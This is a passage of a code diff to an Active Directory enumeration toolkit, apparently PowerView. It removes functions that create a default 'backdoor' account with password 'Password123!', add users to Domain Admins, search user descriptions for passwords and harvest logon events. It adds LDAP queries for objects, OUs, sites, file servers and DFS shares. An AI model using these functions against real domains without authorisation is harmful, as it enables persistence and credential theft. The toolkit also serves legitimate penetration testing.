'PrimaryGroupName' $PrimaryGroupName - - $User.PSObject.TypeNames.Add('PowerView.User') - $User } - $Results.dispose() + + $CompSearcher.dispose() } catch { - Write-Verbose "Error building the UserSearcher searcher object!" + Write-Warning "Error: $_" } - $UserSearcher.dispose() } } } -function Add-NetUser { +function Get-ADObject { <# .SYNOPSIS - Adds a domain user or a local user to the current (or remote) machine, - if permissions allow, utilizing the WinNT service provider and - DirectoryServices.AccountManagement, respectively. + Takes a domain SID and returns the user, group, or computer object + associated with it. - The default behavior is to add a user to the local machine. - An optional group name to add the user to can be specified. + .PARAMETER SID - .PARAMETER UserName + The SID of the domain object you're querying for. - The username to add. If not given, it defaults to 'backdoor' + .PARAMETER Name - .PARAMETER Password + The Name of the domain object you're querying for. - The password to set for the added user. If not given, it defaults to 'Password123!' + .PARAMETER SamAccountName - .PARAMETER GroupName + The SamAccountName of the domain object you're querying for. - Group to optionally add the user to. + .PARAMETER Domain - .PARAMETER ComputerName + The domain to query for objects, defaults to the current domain. - Hostname to add the local user to, defaults to 'localhost' + .PARAMETER DomainController - .PARAMETER Domain + Domain controller to reflect LDAP queries through. - Specified domain to add the user to. + .PARAMETER ADSpath - .EXAMPLE + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. - PS C:\> Add-NetUser -UserName john -Password 'Password123!' + .PARAMETER Filter - Adds a localuser 'john' to the local machine with password of 'Password123!' + Additional LDAP filter string for the query. - .EXAMPLE + .PARAMETER ReturnRaw - PS C:\> Add-NetUser -UserName john -Password 'Password123!' -ComputerName server.testlab.local + Switch. Return the raw object instead of translating its properties. + Used by Set-ADObject to modify object properties. - Adds a localuser 'john' with password of 'Password123!' to server.testlab.local's local Administrators group. + .PARAMETER PageSize - .EXAMPLE + The PageSize to set for the LDAP searcher object. - PS C:\> Add-NetUser -UserName john -Password password -GroupName "Domain Admins" -Domain '' + .PARAMETER Credential - Adds the user "john" with password "password" to the current domain and adds - the user to the domain group "Domain Admins" + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. .EXAMPLE - PS C:\> Add-NetUser -UserName john -Password password -GroupName "Domain Admins" -Domain 'testing' + PS C:\> Get-ADObject -SID "S-1-5-21-2620891829-2411261497-1773853088-1110" + + Get the domain object associated with the specified SID. - Adds the user "john" with password "password" to the 'testing' domain and adds - the user to the domain group "Domain Admins" + .EXAMPLE - .Link + PS C:\> Get-ADObject -ADSpath "CN=AdminSDHolder,CN=System,DC=testlab,DC=local" - http://blogs.technet.com/b/heyscriptingguy/archive/2010/11/23/use-powershell-to-create-local-user-accounts.aspx + Get the AdminSDHolder object for the testlab.local domain. #> [CmdletBinding()] Param ( - [ValidateNotNullOrEmpty()] + [Parameter(ValueFromPipeline=$True)] [String] - $UserName = 'backdoor', + $SID, - [ValidateNotNullOrEmpty()] [String] - $Password = 'Password123!', + $Name, - [ValidateNotNullOrEmpty()] [String] - $GroupName, + $SamAccountName, - [ValidateNotNullOrEmpty()] - [Alias('HostName')] [String] - $ComputerName = 'localhost', + $Domain, - [ValidateNotNullOrEmpty()] [String] - $Domain - ) + $DomainController, - if ($Domain) { + [String] + $ADSpath, - $DomainObject = Get-NetDomain -Domain $Domain - if(-not $DomainObject) { - Write-Warning "Error in grabbing $Domain object" - return $Null - } + [String] + $Filter, - # add the assembly we need - Add-Type -AssemblyName System.DirectoryServices.AccountManagement + [Switch] + $ReturnRaw, - # http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ - # get the domain context - $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain), $DomainObject + [ValidateRange(1,10000)] + [Int] + $PageSize = 200, - # create the user object - $User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList $Context + [Management.Automation.PSCredential] + $Credential + ) + process { + if($SID -and (-not $Domain)) { + # if a SID is passed, try to resolve it to a reachable domain name for the searcher + try { + $Name = Convert-SidToName $SID + if($Name) { + $Canonical = Convert-ADName -ObjectName $Name -InputType NT4 -OutputType Canonical + if($Canonical) { + $Domain = $Canonical.split("/")[0] + } + else { + Write-Verbose "Error resolving SID '$SID'" + return $Null + } + } + } + catch { + Write-Verbose "Error resolving SID '$SID' : $_" + return $Null + } + } - # set user properties - $User.Name = $UserName - $User.SamAccountName = $UserName - $User.PasswordNotRequired = $False - $User.SetPassword($Password) - $User.Enabled = $True + $ObjectSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize - Write-Verbose "Creating user $UserName to with password '$Password' in domain $Domain" + if($ObjectSearcher) { + if($SID) { + $ObjectSearcher.filter = "(&(objectsid=$SID)$Filter)" + } + elseif($Name) { + $ObjectSearcher.filter = "(&(name=$Name)$Filter)" + } + elseif($SamAccountName) { + $ObjectSearcher.filter = "(&(samAccountName=$SamAccountName)$Filter)" + } - try { - # commit the user - $User.Save() - "[*] User $UserName successfully created in domain $Domain" - } - catch { - Write-Warning '[!] User already exists!' - return + try { + $Results = $ObjectSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + if($ReturnRaw) { + $_ + } + else { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties + } + } + $Results.dispose() + } + catch { + Write-Verbose "Error building the searcher object!" + } + $ObjectSearcher.dispose() } } - else { +} - Write-Verbose "Creating user $UserName to with password '$Password' on $ComputerName" - # if it's not a domain add, it's a local machine add - $ObjOu = [ADSI]"WinNT://$ComputerName" - $ObjUser = $ObjOu.Create('User', $UserName) - $ObjUser.SetPassword($Password) +function Get-NetOU { +<# + .SYNOPSIS - # commit the changes to the local machine - try { - $Null = $ObjUser.SetInfo() - "[*] User $UserName successfully created on host $ComputerName" - } - catch { - Write-Warning '[!] Account already exists!' - return - } - } + Gets a list of all current OUs in a domain. - # if a group is specified, invoke Add-NetGroupUser and return its value - if ($GroupName) { - # if we're adding the user to a domain - if ($Domain) { - Add-NetGroupUser -UserName $UserName -GroupName $GroupName -Domain $Domain - "[*] User $UserName successfully added to group $GroupName in domain $Domain" - } - # otherwise, we're adding to a local group - else { - Add-NetGroupUser -UserName $UserName -GroupName $GroupName -ComputerName $ComputerName - "[*] User $UserName successfully added to group $GroupName on host $ComputerName" - } - } -} + .PARAMETER OUName + The OU name to query for, wildcards accepted. -function Add-NetGroupUser { -<# - .SYNOPSIS + .PARAMETER GUID - Adds a user to a domain group or a local group on the current (or remote) machine, - if permissions allow, utilizing the WinNT service provider and - DirectoryServices.AccountManagement, respectively. + Only return OUs with the specified GUID in their gplink property. - .PARAMETER UserName + .PARAMETER Domain - The domain username to query for. + The domain to query for OUs, defaults to the current domain. - .PARAMETER GroupName + .PARAMETER DomainController - Group to add the user to. + Domain controller to reflect LDAP queries through. - .PARAMETER ComputerName + .PARAMETER ADSpath - Hostname to add the user to, defaults to localhost. + The LDAP source to search through. - .PARAMETER Domain + .PARAMETER FullData + + Switch. Return full OU objects instead of just object names (the default). + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .PARAMETER Credential - Domain to add the user to. + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. .EXAMPLE - PS C:\> Add-NetGroupUser -UserName john -GroupName Administrators + PS C:\> Get-NetOU - Adds a localuser "john" to the local group "Administrators" + Returns the current OUs in the domain. .EXAMPLE - PS C:\> Add-NetGroupUser -UserName john -GroupName "Domain Admins" -Domain dev.local + PS C:\> Get-NetOU -OUName *admin* -Domain testlab.local + + Returns all OUs with "admin" in their name in the testlab.local domain. + + .EXAMPLE + + PS C:\> Get-NetOU -GUID 123-... + + Returns all OUs with linked to the specified group policy object. + + .EXAMPLE + + PS C:\> "*admin*","*server*" | Get-NetOU - Adds the existing user "john" to the domain group "Domain Admins" in "dev.local" + Get the full OU names for the given search terms piped on the pipeline. #> [CmdletBinding()] - param( - [Parameter(Mandatory = $True)] - [ValidateNotNullOrEmpty()] + Param ( + [Parameter(ValueFromPipeline=$True)] [String] - $UserName, + $OUName = '*', - [Parameter(Mandatory = $True)] - [ValidateNotNullOrEmpty()] [String] - $GroupName, + $GUID, - [ValidateNotNullOrEmpty()] - [Alias('HostName')] [String] - $ComputerName, + $Domain, [String] - $Domain - ) + $DomainController, - # add the assembly if we need it - Add-Type -AssemblyName System.DirectoryServices.AccountManagement + [String] + $ADSpath, - # if we're adding to a remote host's local group, use the WinNT provider - if($ComputerName -and ($ComputerName -ne "localhost")) { - try { - Write-Verbose "Adding user $UserName to $GroupName on host $ComputerName" - ([ADSI]"WinNT://$ComputerName/$GroupName,group").add("WinNT://$ComputerName/$UserName,user") - "[*] User $UserName successfully added to group $GroupName on $ComputerName" - } - catch { - Write-Warning "[!] Error adding user $UserName to group $GroupName on $ComputerName" - return - } - } + [Switch] + $FullData, - # otherwise it's a local machine or domain add - else { - try { - if ($Domain) { - Write-Verbose "Adding user $UserName to $GroupName on domain $Domain" - $CT = [System.DirectoryServices.AccountManagement.ContextType]::Domain - $DomainObject = Get-NetDomain -Domain $Domain - if(-not $DomainObject) { - return $Null - } - # get the full principal context - $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList $CT, $DomainObject + [ValidateRange(1,10000)] + [Int] + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential + ) + + begin { + $OUSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize + } + process { + if ($OUSearcher) { + if ($GUID) { + # if we're filtering for a GUID in .gplink + $OUSearcher.filter="(&(objectCategory=organizationalUnit)(name=$OUName)(gplink=*$GUID*))" } else { - # otherwise, get the local machine context - Write-Verbose "Adding user $UserName to $GroupName on localhost" - $Context = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine, $Env:ComputerName) + $OUSearcher.filter="(&(objectCategory=organizationalUnit)(name=$OUName))" } - # find the particular group - $Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($Context,$GroupName) - - # add the particular user to the group - $Group.Members.add($Context, [System.DirectoryServices.AccountManagement.IdentityType]::SamAccountName, $UserName) - - # commit the changes - $Group.Save() - } - catch { - Write-Warning "Error adding $UserName to $GroupName : $_" + try { + $Results = $OUSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + if ($FullData) { + # convert/process the LDAP fields for each result + $OU = Convert-LDAPProperty -Properties $_.Properties + $OU.PSObject.TypeNames.Add('PowerView.OU') + $OU + } + else { + # otherwise just returning the ADS paths of the OUs + $_.properties.adspath + } + } + $Results.dispose() + $OUSearcher.dispose() + } + catch { + Write-Warning $_ + } } } } -function Get-UserProperty { +function Get-NetSite { <# .SYNOPSIS - Returns a list of all user object properties. If a property - name is specified, it returns all [user:property] values. - - Taken directly from @obscuresec's post: - http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html + Gets a list of all current sites in a domain. - .PARAMETER Properties + .PARAMETER SiteName - Property names to extract for users. + Site filter string, wildcards accepted. .PARAMETER Domain - The domain to query for user properties, defaults to the current domain. + The domain to query for sites, defaults to the current domain. .PARAMETER DomainController Domain controller to reflect LDAP queries through. + .PARAMETER ADSpath + + The LDAP source to search through. + + .PARAMETER GUID + + Only return site with the specified GUID in their gplink property. + + .PARAMETER FullData + + Switch. Return full site objects instead of just object names (the default). + .PARAMETER PageSize The PageSize to set for the LDAP searcher object. @@ -2926,26 +2205,16 @@ function Get-UserProperty { .EXAMPLE - PS C:\> Get-UserProperty -Domain testing - - Returns all user properties for users in the 'testing' domain. - - .EXAMPLE - - PS C:\> Get-UserProperty -Properties ssn,lastlogon,location - - Returns all an array of user/ssn/lastlogin/location combinations - for users in the current domain. - - .LINK + PS C:\> Get-NetSite -Domain testlab.local -FullData - http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html + Returns the full data objects for all sites in testlab.local #> [CmdletBinding()] - param( - [String[]] - $Properties, + Param ( + [Parameter(ValueFromPipeline=$True)] + [String] + $SiteName = "*", [String] $Domain, @@ -2953,6 +2222,15 @@ function Get-UserProperty { [String] $DomainController, + [String] + $ADSpath, + + [String] + $GUID, + + [Switch] + $FullData, + [ValidateRange(1,10000)] [Int] $PageSize = 200, @@ -2961,44 +2239,100 @@ function Get-UserProperty { $Credential ) - if($Properties) { - # extract out the set of all properties for each object - $Properties = ,"name" + $Properties - Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential | Select-Object -Property $Properties + begin { + $SiteSearcher = Get-DomainSearcher -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSprefix "CN=Sites,CN=Configuration" -PageSize $PageSize } - else { - # extract out just the property names - Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential | Select-Object -First 1 | Get-Member -MemberType *Property | Select-Object -Property 'Name' + process { + if($SiteSearcher) { + + if ($GUID) { + # if we're filtering for a GUID in .gplink + $SiteSearcher.filter="(&(objectCategory=site)(name=$SiteName)(gplink=*$GUID*))" + } + else { + $SiteSearcher.filter="(&(objectCategory=site)(name=$SiteName))" + } + + try { + $Results = $SiteSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + if ($FullData) { + # convert/process the LDAP fields for each result + $Site = Convert-LDAPProperty -Properties $_.Properties + $Site.PSObject.TypeNames.Add('PowerView.Site') + $Site + } + else { + # otherwise just return the site name + $_.properties.name + } + } + $Results.dispose() + $SiteSearcher.dispose() + } + catch { + Write-Verbose $_ + } + } } } -filter Find-UserField { +function Get-DomainSID { <# .SYNOPSIS - Searches user object fields for a given word (default *pass*). Default - field being searched is 'description'. + Gets the SID for the domain. - Taken directly from @obscuresec's post: - http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html + .PARAMETER Domain - .PARAMETER SearchTerm + The domain to query, defaults to the current domain. - Term to search for, default of "pass". + .PARAMETER DomainController - .PARAMETER SearchField + Domain controller to reflect LDAP queries through. - User field to search, default of "description". + .EXAMPLE - .PARAMETER ADSpath + C:\> Get-DomainSID -Domain TEST - The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" - Useful for OU queries. + Returns SID for the domain 'TEST' +#> + + param( + [String] + $Domain, + + [String] + $DomainController + ) + + $ComputerSearcher = Get-DomainSearcher -Domain $TargetDomain -DomainController $DomainController + $ComputerSearcher.Filter = '(sAMAccountType=805306369)' + $Null = $ComputerSearcher.PropertiesToLoad.Add('objectsid') + $Result = $ComputerSearcher.FindOne() + + if(-not $Result) { + Write-Verbose "Get-DomainSID: no results retrieved" + } + else { + $DCObject = Convert-LDAPProperty -Properties $Result.Properties + $DCSID = $DCObject.objectsid + $DCSID.Substring(0, $DCSID.LastIndexOf('-')) + } +} + + +function Get-NetFileServer { +<# + .SYNOPSIS + + Returns a list of all file servers extracted from user + homedirectory, scriptpath, and profilepath fields. .PARAMETER Domain - Domain to search computer fields for, defaults to the current domain. + The domain to query for user file servers, defaults to the current domain. .PARAMETER DomainController @@ -3015,23 +2349,19 @@ filter Find-UserField { .EXAMPLE - PS C:\> Find-UserField -SearchField info -SearchTerm backup + PS C:\> Get-NetFileServer - Find user accounts with "backup" in the "info" field. -#> + Returns active file servers. - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$True)] - [String] - $SearchTerm = 'pass', + .EXAMPLE - [String] - $SearchField = 'description', + PS C:\> Get-NetFileServer -Domain testing - [String] - $ADSpath, + Returns active file servers for the 'testing' domain. +#> + [CmdletBinding()] + param( [String] $Domain, @@ -3046,655 +2376,659 @@ filter Find-UserField { $Credential ) - Get-NetUser -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField -} - + function Split-Path { + # short internal helper to split UNC server paths + param([String]$Path) -filter Get-UserEvent { -<# - .SYNOPSIS - - Dump and parse security events relating to an account logon (ID 4624) - or a TGT request event (ID 4768). Intended to be used and tested on - Windows 2008 Domain Controllers. - Admin Reqd? YES - - Author: @sixdub - - .PARAMETER ComputerName - - The computer to get events from. Default: Localhost - - .PARAMETER EventType - - Either 'logon', 'tgt', or 'all'. Defaults: 'logon' - - .PARAMETER DateStart - - Filter out all events before this date. Default: 5 days - - .PARAMETER Credential - - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target domain. - - .EXAMPLE - - PS C:\> Get-UserEvent -ComputerName DomainController.testlab.local - - .LINK - - http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/ -#> - - Param( - [Parameter(ValueFromPipeline=$True)] - [String] - $ComputerName = $Env:ComputerName, - - [String] - [ValidateSet("logon","tgt","all")] - $EventType = "logon", - - [DateTime] - $DateStart = [DateTime]::Today.AddDays(-5), - - [Management.Automation.PSCredential] - $Credential - ) - - if($EventType.ToLower() -like "logon") { - [Int32[]]$ID = @(4624) - } - elseif($EventType.ToLower() -like "tgt") { - [Int32[]]$ID = @(4768) - } - else { - [Int32[]]$ID = @(4624, 4768) - } - - if($Credential) { - Write-Verbose "Using alternative credentials" - $Arguments = @{ - 'ComputerName' = $ComputerName; - 'Credential' = $Credential; - 'FilterHashTable' = @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart}; - 'ErrorAction' = 'SilentlyContinue'; - } - } - else { - $Arguments = @{ - 'ComputerName' = $ComputerName; - 'FilterHashTable' = @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart}; - 'ErrorAction' = 'SilentlyContinue'; + if ($Path -and ($Path.split("\\").Count -ge 3)) { + $Temp = $Path.split("\\")[2] + if($Temp -and ($Temp -ne '')) { + $Temp + } } } - # grab all events matching our filter for the specified host - Get-WinEvent @Arguments | ForEach-Object { - - if($ID -contains 4624) { - # first parse and check the logon event type. This could be later adapted and tested for RDP logons (type 10) - if($_.message -match '(?s)(?<=Logon Type:).*?(?=(Impersonation Level:|New Logon:))') { - if($Matches) { - $LogonType = $Matches[0].trim() - $Matches = $Null - } - } - else { - $LogonType = "" - } - - # interactive logons or domain logons - if (($LogonType -eq 2) -or ($LogonType -eq 3)) { - try { - # parse and store the account used and the address they came from - if($_.message -match '(?s)(?<=New Logon:).*?(?=Process Information:)') { - if($Matches) { - $UserName = $Matches[0].split("`n")[2].split(":")[1].trim() - $Domain = $Matches[0].split("`n")[3].split(":")[1].trim() - $Matches = $Null - } - } - if($_.message -match '(?s)(?<=Network Information:).*?(?=Source Port:)') { - if($Matches) { - $Address = $Matches[0].split("`n")[2].split(":")[1].trim() - $Matches = $Null - } - } - - # only add if there was account information not for a machine or anonymous logon - if ($UserName -and (-not $UserName.endsWith('$')) -and ($UserName -ne 'ANONYMOUS LOGON')) { - $LogonEventProperties = @{ - 'Domain' = $Domain - 'ComputerName' = $ComputerName - 'Username' = $UserName - 'Address' = $Address - 'ID' = '4624' - 'LogonType' = $LogonType - 'Time' = $_.TimeCreated - } - New-Object -TypeName PSObject -Property $LogonEventProperties - } - } - catch { - Write-Verbose "Error parsing event logs: $_" - } - } - } - if($ID -contains 4768) { - # the TGT event type - try { - if($_.message -match '(?s)(?<=Account Information:).*?(?=Service Information:)') { - if($Matches) { - $Username = $Matches[0].split("`n")[1].split(":")[1].trim() - $Domain = $Matches[0].split("`n")[2].split(":")[1].trim() - $Matches = $Null - } - } + $UserSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize - if($_.message -match '(?s)(?<=Network Information:).*?(?=Additional Information:)') { - if($Matches) { - $Address = $Matches[0].split("`n")[1].split(":")[-1].trim() - $Matches = $Null - } - } + # only search for user objects that have one of the fields we're interested in set + $UserSearcher.filter = "(&(samAccountType=805306368)(|(homedirectory=*)(scriptpath=*)(profilepath=*)))" - $LogonEventProperties = @{ - 'Domain' = $Domain - 'ComputerName' = $ComputerName - 'Username' = $UserName - 'Address' = $Address - 'ID' = '4768' - 'LogonType' = '' - 'Time' = $_.TimeCreated - } + # only return the fields we're interested in + $UserSearcher.PropertiesToLoad.AddRange(('homedirectory', 'scriptpath', 'profilepath')) - New-Object -TypeName PSObject -Property $LogonEventProperties - } - catch { - Write-Verbose "Error parsing event logs: $_" - } - } - } + # get all results w/o the pipeline and uniquify them (I know it's not pretty) + Sort-Object -Unique -InputObject $(ForEach($UserResult in $UserSearcher.FindAll()) {if($UserResult.Properties['homedirectory']) {Split-Path($UserResult.Properties['homedirectory'])}if($UserResult.Properties['scriptpath']) {Split-Path($UserResult.Properties['scriptpath'])}if($UserResult.Properties['profilepath']) {Split-Path($UserResult.Properties['profilepath'])}}) } -function Get-ObjectAcl { +function Get-DFSshare { <# .SYNOPSIS - Returns the ACLs associated with a specific active directory object. - - Thanks Sean Metcalf (@pyrotek3) for the idea and guidance. - .PARAMETER SamAccountName - - Object name to filter for. - - .PARAMETER Name - - Object name to filter for. + Returns a list of all fault-tolerant distributed file + systems for a given domain. - .PARAMETER DistinguishedName + .PARAMETER Version - Object distinguished name to filter for. + The version of DFS to query for servers. + 1/v1, 2/v2, or all - .PARAMETER ResolveGUIDs + .PARAMETER Domain - Switch. Resolve GUIDs to their display names. + The domain to query for user DFS shares, defaults to the current domain. - .PARAMETER Filter + .PARAMETER DomainController - A customized ldap filter string to use, e.g. "(description=*admin*)" + Domain controller to reflect LDAP queries through. .PARAMETER ADSpath The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. - .PARAMETER ADSprefix - - Prefix to set for the searcher (like "CN=Sites,CN=Configuration") - - .PARAMETER RightsFilter - - Only return results with the associated rights, "All", "ResetPassword","WriteMembers" - - .PARAMETER Domain - - The domain to use for the query, defaults to the current domain. - - .PARAMETER DomainController - - Domain controller to reflect LDAP queries through. - .PARAMETER PageSize The PageSize to set for the LDAP searcher object. - .EXAMPLE - - PS C:\> Get-ObjectAcl -SamAccountName matt.admin -domain testlab.local + .PARAMETER Credential - Get the ACLs for the matt.admin user in the testlab.local domain + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. .EXAMPLE - PS C:\> Get-ObjectAcl -SamAccountName matt.admin -domain testlab.local -ResolveGUIDs + PS C:\> Get-DFSshare - Get the ACLs for the matt.admin user in the testlab.local domain and - resolve relevant GUIDs to their display names. + Returns all distributed file system shares for the current domain. .EXAMPLE - PS C:\> Get-NetOU -FullData | Get-ObjectAcl -ResolveGUIDs + PS C:\> Get-DFSshare -Domain test - Enumerate the ACL permissions for all OUs in the domain. + Returns all distributed file system shares for the 'test' domain. #> [CmdletBinding()] - Param ( - [Parameter(ValueFromPipelineByPropertyName=$True)] - [String] - $SamAccountName, - - [Parameter(ValueFromPipelineByPropertyName=$True)] + param( [String] - $Name = "*", + [ValidateSet("All","V1","1","V2","2")] + $Version = "All", - [Parameter(ValueFromPipelineByPropertyName=$True)] [String] - $DistinguishedName = "*", - - [Switch] - $ResolveGUIDs, + $Domain, [String] - $Filter, + $DomainController, [String] $ADSpath, - [String] - $ADSprefix, - - [String] - [ValidateSet("All","ResetPassword","WriteMembers")] - $RightsFilter, - - [String] - $Domain, - - [String] - $DomainController, - [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential ) - begin { - $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -ADSprefix $ADSprefix -PageSize $PageSize + function Parse-Pkt { + [CmdletBinding()] + param( + [byte[]] + $Pkt + ) - # get a GUID -> name mapping - if($ResolveGUIDs) { - $GUIDs = Get-GUIDMap -Domain $Domain -DomainController $DomainController -PageSize $PageSize - } - } + $bin = $Pkt + $blob_version = [bitconverter]::ToUInt32($bin[0..3],0) + $blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0) + $offset = 8 + #https://msdn.microsoft.com/en-us/library/cc227147.aspx + $object_list = @() + for($i=1; $i -le $blob_element_count; $i++){ + $blob_name_size_start = $offset + $blob_name_size_end = $offset + 1 + $blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0) - process { + $blob_name_start = $blob_name_size_end + 1 + $blob_name_end = $blob_name_start + $blob_name_size - 1 + $blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end]) - if ($Searcher) { + $blob_data_size_start = $blob_name_end + 1 + $blob_data_size_end = $blob_data_size_start + 3 + $blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0) - if($SamAccountName) { - $Searcher.filter="(&(samaccountname=$SamAccountName)(name=$Name)(distinguishedname=$DistinguishedName)$Filter)" - } - else { - $Searcher.filter="(&(name=$Name)(distinguishedname=$DistinguishedName)$Filter)" - } + $blob_data_start = $blob_data_size_end + 1 + $blob_data_end = $blob_data_start + $blob_data_size - 1 + $blob_data = $bin[$blob_data_start..$blob_data_end] + switch -wildcard ($blob_name) { + "\siteroot" { } + "\domainroot*" { + # Parse DFSNamespaceRootOrLinkBlob object. Starts with variable length DFSRootOrLinkIDBlob which we parse first... + # DFSRootOrLinkIDBlob + $root_or_link_guid_start = 0 + $root_or_link_guid_end = 15 + $root_or_link_guid = [byte[]]$blob_data[$root_or_link_guid_start..$root_or_link_guid_end] + $guid = New-Object Guid(,$root_or_link_guid) # should match $guid_str + $prefix_size_start = $root_or_link_guid_end + 1 + $prefix_size_end = $prefix_size_start + 1 + $prefix_size = [bitconverter]::ToUInt16($blob_data[$prefix_size_start..$prefix_size_end],0) + $prefix_start = $prefix_size_end + 1 + $prefix_end = $prefix_start + $prefix_size - 1 + $prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end]) - try { - $Results = $Searcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - $Object = [adsi]($_.path) + $short_prefix_size_start = $prefix_end + 1 + $short_prefix_size_end = $short_prefix_size_start + 1 + $short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$short_prefix_size_end],0) + $short_prefix_start = $short_prefix_size_end + 1 + $short_prefix_end = $short_prefix_start + $short_prefix_size - 1 + $short_prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..$short_prefix_end]) - if($Object.distinguishedname) { - $Access = $Object.PsBase.ObjectSecurity.access - $Access | ForEach-Object { - $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0] + $type_start = $short_prefix_end + 1 + $type_end = $type_start + 3 + $type = [bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0) - if($Object.objectsid[0]){ - $S = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value - } - else { - $S = $Null - } + $state_start = $type_end + 1 + $state_end = $state_start + 3 + $state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0) - $_ | Add-Member NoteProperty 'ObjectSID' $S - $_ - } - } - } | ForEach-Object { - if($RightsFilter) { - $GuidFilter = Switch ($RightsFilter) { - "ResetPassword" { "00299570-246d-11d0-a768-00aa006e0529" } - "WriteMembers" { "bf9679c0-0de6-11d0-a285-00aa003049e2" } - Default { "00000000-0000-0000-0000-000000000000"} - } - if($_.ObjectType -eq $GuidFilter) { $_ } - } - else { - $_ - } - } | ForEach-Object { - if($GUIDs) { - # if we're resolving GUIDs, map them them to the resolved hash table - $AclProperties = @{} - $_.psobject.properties | ForEach-Object { - if( ($_.Name -eq 'ObjectType') -or ($_.Name -eq 'InheritedObjectType') ) { - try { - $AclProperties[$_.Name] = $GUIDS[$_.Value.toString()] - } - catch { - $AclProperties[$_.Name] = $_.Value - } - } - else { - $AclProperties[$_.Name] = $_.Value - } - } - New-Object -TypeName PSObject -Property $AclProperties + $comment_size_start = $state_end + 1 + $comment_size_end = $comment_size_start + 1 + $comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0) + $comment_start = $comment_size_end + 1 + $comment_end = $comment_start + $comment_size - 1 + if ($comment_size -gt 0) { + $comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end]) } - else { $_ } - } - $Results.dispose() - $Searcher.dispose() - } - catch { - Write-Warning $_ - } - } - } -} - + $prefix_timestamp_start = $comment_end + 1 + $prefix_timestamp_end = $prefix_timestamp_start + 7 + # https://msdn.microsoft.com/en-us/library/cc230324.aspx FILETIME + $prefix_timestamp = $blob_data[$prefix_timestamp_start..$prefix_timestamp_end] #dword lowDateTime #dword highdatetime + $state_timestamp_start = $prefix_timestamp_end + 1 + $state_timestamp_end = $state_timestamp_start + 7 + $state_timestamp = $blob_data[$state_timestamp_start..$state_timestamp_end] + $comment_timestamp_start = $state_timestamp_end + 1 + $comment_timestamp_end = $comment_timestamp_start + 7 + $comment_timestamp = $blob_data[$comment_timestamp_start..$comment_timestamp_end] + $version_start = $comment_timestamp_end + 1 + $version_end = $version_start + 3 + $version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0) -function Add-ObjectAcl { -<# - .SYNOPSIS + # Parse rest of DFSNamespaceRootOrLinkBlob here + $dfs_targetlist_blob_size_start = $version_end + 1 + $dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3 + $dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..$dfs_targetlist_blob_size_end],0) - Adds an ACL for a specific active directory object. + $dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1 + $dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1 + $dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end] + $reserved_blob_size_start = $dfs_targetlist_blob_end + 1 + $reserved_blob_size_end = 